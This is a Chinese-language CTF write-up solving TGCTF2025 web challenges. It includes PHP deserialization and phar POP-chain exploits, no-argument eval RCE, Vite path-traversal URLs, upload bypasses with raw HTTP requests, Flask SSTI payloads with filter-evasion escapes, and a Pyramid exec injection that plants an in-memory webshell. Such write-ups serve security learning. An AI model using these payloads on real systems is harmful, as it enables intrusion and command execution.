TGCTF2025
web
火眼辩魑魅
robots协议,然后访问tgshell.php。
过滤了很多system,passthru等函数
用反引号绕过

什么文件上传?
提示机器人,访问robots.txt
看到class.php,访问进去
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
奶奶的这题做一个小时(bushi,我在那爆破md5值后想着触发invoke方法再触发tostring方法。没看到invoke方法里面已经强行赋值给good了,所以自己给good赋future类完全没用。白折腾了nnd,我真是眼瞎了没看到这么大一行赋值操作。
pop链:
yesterday::__destruct()---->today::__call()---->future::__toString()
这里为什么能触发tostring呢?因为
md5(md5($this->doing)) == md5(md5((string)$this->doing))
再进行比较时其实就自动触发了。因为md5函数将对象自动先转成字符串
exp:
<?php
class yesterday {
public $study;
}
class today {
public $doing;
}
class tommoraw {
public $good;
}
class future {
}
$a=new yesterday();
$a->study=new today();
$a->study->doing=new future();
echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));
?>
payload:
get:class.php?filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NsWlVTbUZXUlRWUFZHMXpNVlpYU1hsaVIzQk9UVlZzTkZZeWRHOWpiVVpXVDBoa1VGSkdjRkJXYTJNMVkwWndSbGw2Vm1oTlYzaGFXVlJLYzFWSFJuSldWRXBoVmtVMVQxUnRjekZXVjBsNVlrZEdVMlZ0ZUROWFZ6QjRZVzFHVms5SVpGQlNSbkJRV1Zjd05XTkdaSFJPVm1ST1VqRktXbFV5TVRSVGJVWjBUMVJPVlUxcVZYZFVNV1JoVjFVeFJVMUVNRDA91234
post:wow=cat /flag
什么文件上传?(复仇)
继续看class.php
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
只看到best64_decode函数改了,这个没啥用。加密的best64函数未知,这让我们不能直接打反序列化了。
回到文件上传页面,我们bp爆破发现只能上传.atg文件。
看到file_exists这种对文件进行操作的函数,可以想到phar反序列化。
<?php
class yesterday {
public $study;
}
class today {
public $doing;
}
class tommoraw {
public $good;
}
class future {
}
$a=new yesterday();
$a->study=new today();
$a->study->doing=new future();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.txt", "test");
$phar->setMetadata($a);
$phar->stopBuffering();
?>
生成phar.phar文件后,后缀改为.atg然后上传文件。最后phar读取该文件即可。

AAA偷渡阴平
<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|~|`|@|#|\$|%|^|&|*|(|)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);
过滤中的()是中文的,等于没过滤。我们只能用字母和(),也就是无参RCE
法一:
var_dump(get_defined_vars())
发现超全局数组
array(5) {
["_GET"]=>array(1) {["tgctf2025"]=>string(29) "var_dump(get_defined_vars());"}
["_POST"]=>array(0) {}
["_COOKIE"]=>array(0) {}
["_FILES"]=>array(0) {}
["tgctf2025"]=>string(29) "var_dump(get_defined_vars());"
}
可以利用超全局数组来写。我这里利用POST全局数组来写,我们用next将指针指向["_POST"],然后end函数取数组中的最后一个值,eval来执行这个值。

?tgctf2025=eval(end(next(get_defined_vars())));
a=system('cat /flag');
法二:
当请求头中有cookie时,首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现。

AAA偷渡阴平(复仇)
和上题一样,用法二。
前端GAME
该漏洞主要影响以下版本的 Vite:
6.2.3 之前
6.1.2 之前
6.0.12 之前
5.4.15 之前
4.5.10 之前
看前端,有版本号

然后读环境变量就行

前端GAME Plus
和上题一样,版本变成了6.2.4。

http://127.0.0.1:59001/tgflagggg?.svg?.wasm?init
然后base64解码即可
前端GAME Ultra
版本变成了6.2.5
http://127.0.0.1:60723/@fs/app/#/../../../../../tgflagggg
用bp或者curl发包,浏览器发包会跳转。
(ez)upload
扫目录找到upload.php.bak
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");
if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);
if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}
// 设置 HTTP 状态码
http_response_code($status_code);
// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);
flag在环境变量
法一:
name参数存在目录穿越,没有过滤.user.ini。并且我们知道uploads/路由的上级路由有upload.php文件。
所以可以用.user.ini文件包含。将.user.ini和我们的恶意php代码上传即可
POST /upload.php?name=../1.jpg HTTP/1.1
Host: 127.0.0.1:64422
Content-Length: 306
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:64422
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTSfQSj57raGb6frL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:64422/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryTSfQSj57raGb6frL
Content-Disposition: form-data; name="name"; filename="shell.php"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundaryTSfQSj57raGb6frL
Content-Disposition: form-data; name="submit"
上传文件
------WebKitFormBoundaryTSfQSj57raGb6frL--
然后上传.user.ini
POST /upload.php?name=../.user.ini HTTP/1.1
Host: 127.0.0.1:64422
Content-Length: 325
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:64422
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP7Zos5rUV9n8jmeF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:64422/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryP7Zos5rUV9n8jmeF
Content-Disposition: form-data; name="name"; filename=".user.ini"
Content-Type: application/octet-stream
auto_prepend_file=1.jpg
------WebKitFormBoundaryP7Zos5rUV9n8jmeF
Content-Disposition: form-data; name="submit"
上传文件
------WebKitFormBoundaryP7Zos5rUV9n8jmeF--
等几分钟访问upload.php即可
法二:
官方wp上说要101万大量垃圾字符绕过move_uploaded_file函数。
但是实际上不需要。可以看到后端代码说直接以name参数来命名的。直接再后面加上/.即可绕过后缀检测。
因为 $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);会将最后一个.号后面的内容作为文件后缀。
所以 $file_ext 值为空
POST /upload.php?name=1.php/. HTTP/1.1
Host: 127.0.0.1:65429
Content-Length: 306
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:65429
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnMYrsD7baa4gj4K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:65429/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryAnMYrsD7baa4gj4K
Content-Disposition: form-data; name="name"; filename="shell.jpg"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundaryAnMYrsD7baa4gj4K
Content-Disposition: form-data; name="submit"
上传文件
------WebKitFormBoundaryAnMYrsD7baa4gj4K--
然后访问uploads/1.php即可。这里的过滤不知道为什么,好像不存在???
直面天命
源代码提示访问/hint,然后爆破路由访问到/aazz,提示可以传参,用arjun爆破参数,为filename
发现该参数存在目录遍历漏洞。直接出
http://127.0.0.1:1506/aazz?filename=../../../../../../flag
然后看了wp发现这是非预期做法.
这题考点是ssti,先读取/app.py
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
# 黑名单定义 - 防止SSTI(服务器端模板注入)和命令执行
black_list = ['{', '}', 'popen', 'os', 'import', 'eval', '_', 'system', 'read', 'base', 'globals']
def waf(name):
for x in black_list:
if x in name.lower(): # 不区分大小写检查
return True
return False
def is_typable(char):
# 定义可输入字符集:字母、数字、标点符号和空白符
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html') # 从static目录返回index.html
@app.route('/jingu', methods=['POST'])
def greet():
template1 = ""
template2 = ""
name = request.form.get('name') # 获取POST参数name
template = f'{name}' # 原始模板
# 第一层检查:WAF过滤
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
# 第二层检查:所有字符必须可键盘输入
k = 0
for i in name:
if is_typable(i):
continue
k = 1
break
if k == 1:
# 第三层检查:必须包含secret_key的前后两部分("六根")
if not (secret_key[:2] in name and secret_key[2:] in name):
template = '连"六根"都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
# 通过所有检查后的处理
template1 = """"六根"也凑齐了,你已经可以直面天命了!我帮你把"secret_key"替换为了"{{}}"<br>
最后,如果你用了cat,就可以见到齐天大圣了<br>"""
# 关键点:将特定文本替换为Flask模板语法
template = template.replace("直面", "{{").replace("天命", "}}")
# 特殊触发条件:如果输入包含"cat"
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
# 渲染最终模板(潜在的SSTI触发点)
return template1 + render_template_string(template) + render_template_string(template2)
except Exception as e:
# 错误处理
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template = "hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
filename = request.args.get('filename', '') # 获取查询参数filename
if filename == "":
# 无filename参数时返回文件上传页面
return send_from_directory('static', 'file.html')
# 文件名合法性检查
if not filename.replace('_', '').isalnum():
return jsonify({'error': '只允许字母和数字!'}), 400
# 检查文件是否存在
if os.path.isfile(filename):
try:
# 读取文件内容
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
# 文件读取错误处理
return jsonify({'error': str(e)}), 500
else:
# 文件不存在处理
return jsonify({'error': '路径不存在或者路径非法'}), 404
if __name__ == '__main__':
# 启动Flask应用
app.run(host='0.0.0.0', port=80) # 监听所有网络接口的80端口
我们读取secret
http://127.0.0.1:1506/aazz?filename=/a/b/c/d/secret.py
#secret_key = "直面天命"
然后打ssti即可
name=直面[]["x5fx5fclassx5fx5f"]["x5fx5fmrox5fx5f"][1]["x5fx5fsubclassesx5fx5f"]()[351]('cat%20/flag',shell=True,stdout=-1).communicate()[0].strip()天命
直面天命(复仇)
和上题一样的思路
读源码,源码变了一点
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧
再去西行历练历练
Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?
Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
过滤变多了。
template= template.replace("天命","{{").replace("难违","}}")所以直面天命放前面,末尾要加上难违。
payload可以本地搭个环境然后fengjin跑。
name=直面天命g['u0070u006fu0070']['u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f']['u005fu005fu0062u0075u0069u006cu0074u0069u006eu0073u005fu005f']['u005fu005fu0069u006du0070u006fu0072u0074u005fu005f']('so'[::-1])['u0070u006fu0070u0065u006e']('cat /*')['u0072u0065u0061u0064']()难违
熟悉的配方,熟悉的味道
给了源码
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader
eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}
def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))
if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0
return 1
def home_view(request):
expr_input = ""
result = ""
if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"
template_str = 【xxx】
env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)
if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()
server = make_server('0.0.0.0', 9040, app)
server.serve_forever()
这题用WP做题法。但是看了几个wp都没有讲清楚为什么能打内存马。我总结一下
eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}
上面这段代码可以看出,禁用的是eval函数下的全局变量。
print(exec(expr_input))
而我们利用的是上面这个exec函数,所以并不受影响。
下面我们看主路由
if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
可以看到post方法接受expr参数赋值给expr_input,然后就用checkExpr来检查。进入checkExpr函数查看
def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))
if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0
return 1
注意这里是先执行,然后才判断:print(exec(expr_input))直接执行了expr_input。然后进入判断语句。
并且exec是没有返回值的,也就是print等于没有。所以这题是无回显。也就是可以打内存马。
expr=config.add_route('shell_route','/shell');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('cmd')).read()),route_name='shell_route');app = config.make_wsgi_app()

读取

eval和exec的区别:
| 特性 | eval |
exec |
|---|---|---|
| 用途 | 计算单个表达式的值 | 执行代码块或语句 |
| 返回值 | 返回表达式的计算结果 | 总是返回 None |
| 输入类型 | 只能处理单个表达式 | 可以处理多行代码、语句和代码块 |
所以python的exec和php的exec完全不同,python的exec有点类似php的eval。




